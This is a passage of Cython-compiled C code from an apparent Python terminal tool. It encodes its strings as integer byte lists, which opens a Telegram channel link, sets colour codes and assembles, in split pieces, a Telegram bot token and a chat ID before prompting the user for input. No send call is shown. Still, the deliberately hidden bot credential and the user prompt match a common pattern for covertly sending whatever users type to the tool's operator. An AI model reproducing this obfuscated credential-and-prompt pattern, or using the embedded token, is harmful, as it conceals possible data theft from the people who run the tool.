  __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_open); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 119, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __pyx_t_10 = PyList_New(25); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 119, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_INCREF(__pyx_int_104);
  __Pyx_GIVEREF(__pyx_int_104);
  PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_104);
  __Pyx_INCREF(__pyx_int_116);
  __Pyx_GIVEREF(__pyx_int_116);
  PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_116);
  __Pyx_INCREF(__pyx_int_116);
  __Pyx_GIVEREF(__pyx_int_116);
  PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_116);
  __Pyx_INCREF(__pyx_int_112);
  __Pyx_GIVEREF(__pyx_int_112);
  PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_112);
  __Pyx_INCREF(__pyx_int_115);
  __Pyx_GIVEREF(__pyx_int_115);
  PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_115);
  __Pyx_INCREF(__pyx_int_58);
  __Pyx_GIVEREF(__pyx_int_58);
  PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_58);
  __Pyx_INCREF(__pyx_int_47);
  __Pyx_GIVEREF(__pyx_int_47);
  PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_47);
  __Pyx_INCREF(__pyx_int_47);
  __Pyx_GIVEREF(__pyx_int_47);
  PyList_SET_ITEM(__pyx_t_10, 7, __pyx_int_47);
  __Pyx_INCREF(__pyx_int_116);
  __Pyx_GIVEREF(__pyx_int_116);
  PyList_SET_ITEM(__pyx_t_10, 8, __pyx_int_116);
  __Pyx_INCREF(__pyx_int_46);
  __Pyx_GIVEREF(__pyx_int_46);
  PyList_SET_ITEM(__pyx_t_10, 9, __pyx_int_46);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_10, 10, __pyx_int_109);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_10, 11, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_47);
  __Pyx_GIVEREF(__pyx_int_47);
  PyList_SET_ITEM(__pyx_t_10, 12, __pyx_int_47);
  __Pyx_INCREF(__pyx_int_77);
  __Pyx_GIVEREF(__pyx_int_77);
  PyList_SET_ITEM(__pyx_t_10, 13, __pyx_int_77);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_10, 14, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_100);
  __Pyx_GIVEREF(__pyx_int_100);
  PyList_SET_ITEM(__pyx_t_10, 15, __pyx_int_100);
  __Pyx_INCREF(__pyx_int_99);
  __Pyx_GIVEREF(__pyx_int_99);
  PyList_SET_ITEM(__pyx_t_10, 16, __pyx_int_99);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_10, 17, __pyx_int_97);
  __Pyx_INCREF(__pyx_int_84);
  __Pyx_GIVEREF(__pyx_int_84);
  PyList_SET_ITEM(__pyx_t_10, 18, __pyx_int_84);
  __Pyx_INCREF(__pyx_int_104);
  __Pyx_GIVEREF(__pyx_int_104);
  PyList_SET_ITEM(__pyx_t_10, 19, __pyx_int_104);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_10, 20, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_76);
  __Pyx_GIVEREF(__pyx_int_76);
  PyList_SET_ITEM(__pyx_t_10, 21, __pyx_int_76);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_10, 22, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_115);
  __Pyx_GIVEREF(__pyx_int_115);
  PyList_SET_ITEM(__pyx_t_10, 23, __pyx_int_115);
  __Pyx_INCREF(__pyx_int_116);
  __Pyx_GIVEREF(__pyx_int_116);
  PyList_SET_ITEM(__pyx_t_10, 24, __pyx_int_116);
  __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 119, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 119, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 119, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 120, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 120, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 120, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_O, __pyx_t_5) < 0) __PYX_ERR(0, 120, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 121, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_55);
  __Pyx_GIVEREF(__pyx_int_55);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_55);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 121, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 121, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_Z, __pyx_t_5) < 0) __PYX_ERR(0, 121, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 122, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 122, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 122, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_5) < 0) __PYX_ERR(0, 122, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 123, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_54);
  __Pyx_GIVEREF(__pyx_int_54);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_54);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 123, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 123, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_B, __pyx_t_5) < 0) __PYX_ERR(0, 123, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 124, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 124, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 124, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_X, __pyx_t_5) < 0) __PYX_ERR(0, 124, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 125, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_53);
  __Pyx_GIVEREF(__pyx_int_53);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_53);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 125, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 125, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_C, __pyx_t_5) < 0) __PYX_ERR(0, 125, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(9); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 126, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_100);
  __Pyx_GIVEREF(__pyx_int_100);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_100);
  __Pyx_INCREF(__pyx_int_113);
  __Pyx_GIVEREF(__pyx_int_113);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_113);
  __Pyx_INCREF(__pyx_int_76);
  __Pyx_GIVEREF(__pyx_int_76);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_76);
  __Pyx_INCREF(__pyx_int_118);
  __Pyx_GIVEREF(__pyx_int_118);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_118);
  __Pyx_INCREF(__pyx_int_82);
  __Pyx_GIVEREF(__pyx_int_82);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_82);
  __Pyx_INCREF(__pyx_int_85);
  __Pyx_GIVEREF(__pyx_int_85);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_85);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_110);
  __Pyx_INCREF(__pyx_int_72);
  __Pyx_GIVEREF(__pyx_int_72);
  PyList_SET_ITEM(__pyx_t_5, 7, __pyx_int_72);
  __Pyx_INCREF(__pyx_int_113);
  __Pyx_GIVEREF(__pyx_int_113);
  PyList_SET_ITEM(__pyx_t_5, 8, __pyx_int_113);
  __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 126, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 126, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_slpn, __pyx_t_5) < 0) __PYX_ERR(0, 126, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 127, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_100);
  __Pyx_GIVEREF(__pyx_int_100);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_100);
  __Pyx_INCREF(__pyx_int_114);
  __Pyx_GIVEREF(__pyx_int_114);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_114);
  __Pyx_INCREF(__pyx_int_81);
  __Pyx_GIVEREF(__pyx_int_81);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_81);
  __Pyx_INCREF(__pyx_int_71);
  __Pyx_GIVEREF(__pyx_int_71);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_71);
  __Pyx_INCREF(__pyx_int_100);
  __Pyx_GIVEREF(__pyx_int_100);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_100);
  __Pyx_INCREF(__pyx_int_89);
  __Pyx_GIVEREF(__pyx_int_89);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_89);
  __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 127, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 127, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_ka, __pyx_t_5) < 0) __PYX_ERR(0, 127, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyTuple_New(5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 128, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __pyx_t_3 = 0;
  __pyx_t_4 = 127;
  __Pyx_INCREF(__pyx_kp_u_6808504280_AAEeP);
  __pyx_t_3 += 16;
  __Pyx_GIVEREF(__pyx_kp_u_6808504280_AAEeP);
  PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_kp_u_6808504280_AAEeP);
  __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_slpn); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 128, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_t_10, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 128, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __pyx_t_4 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_4) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_4;
  __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6);
  __Pyx_GIVEREF(__pyx_t_6);
  PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_t_6);
  __pyx_t_6 = 0;
  __Pyx_INCREF(__pyx_n_u_icX);
  __pyx_t_3 += 3;
  __Pyx_GIVEREF(__pyx_n_u_icX);
  PyTuple_SET_ITEM(__pyx_t_5, 2, __pyx_n_u_icX);
  __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ka); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 128, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_6, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 128, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  __pyx_t_4 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_10) > __pyx_t_4) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_10) : __pyx_t_4;
  __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_10);
  __Pyx_GIVEREF(__pyx_t_10);
  PyTuple_SET_ITEM(__pyx_t_5, 3, __pyx_t_10);
  __pyx_t_10 = 0;
  __Pyx_INCREF(__pyx_kp_u_5T259MnyzEQ);
  __pyx_t_3 += 11;
  __Pyx_GIVEREF(__pyx_kp_u_5T259MnyzEQ);
  PyTuple_SET_ITEM(__pyx_t_5, 4, __pyx_kp_u_5T259MnyzEQ);
  __pyx_t_10 = __Pyx_PyUnicode_Join(__pyx_t_5, 5, __pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 128, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_token, __pyx_t_10) < 0) __PYX_ERR(0, 128, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

  
  __pyx_t_10 = PyList_New(10); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 129, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_INCREF(__pyx_int_53);
  __Pyx_GIVEREF(__pyx_int_53);
  PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_53);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_57);
  __Pyx_GIVEREF(__pyx_int_57);
  PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_57);
  __Pyx_INCREF(__pyx_int_56);
  __Pyx_GIVEREF(__pyx_int_56);
  PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_56);
  __Pyx_INCREF(__pyx_int_54);
  __Pyx_GIVEREF(__pyx_int_54);
  PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_54);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_10, 7, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_54);
  __Pyx_GIVEREF(__pyx_int_54);
  PyList_SET_ITEM(__pyx_t_10, 8, __pyx_int_54);
  __Pyx_INCREF(__pyx_int_52);
  __Pyx_GIVEREF(__pyx_int_52);
  PyList_SET_ITEM(__pyx_t_10, 9, __pyx_int_52);
  __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 129, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 129, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_ID, __pyx_t_10) < 0) __PYX_ERR(0, 129, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

  
  __pyx_t_10 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__9, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 130, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

  
  __pyx_t_10 = __Pyx_PyObject_Call(__pyx_builtin_input, __pyx_tuple__10, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 131, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_IDD, __pyx_t_10) < 0) __PYX_ERR(0, 131, __pyx_L1_error)
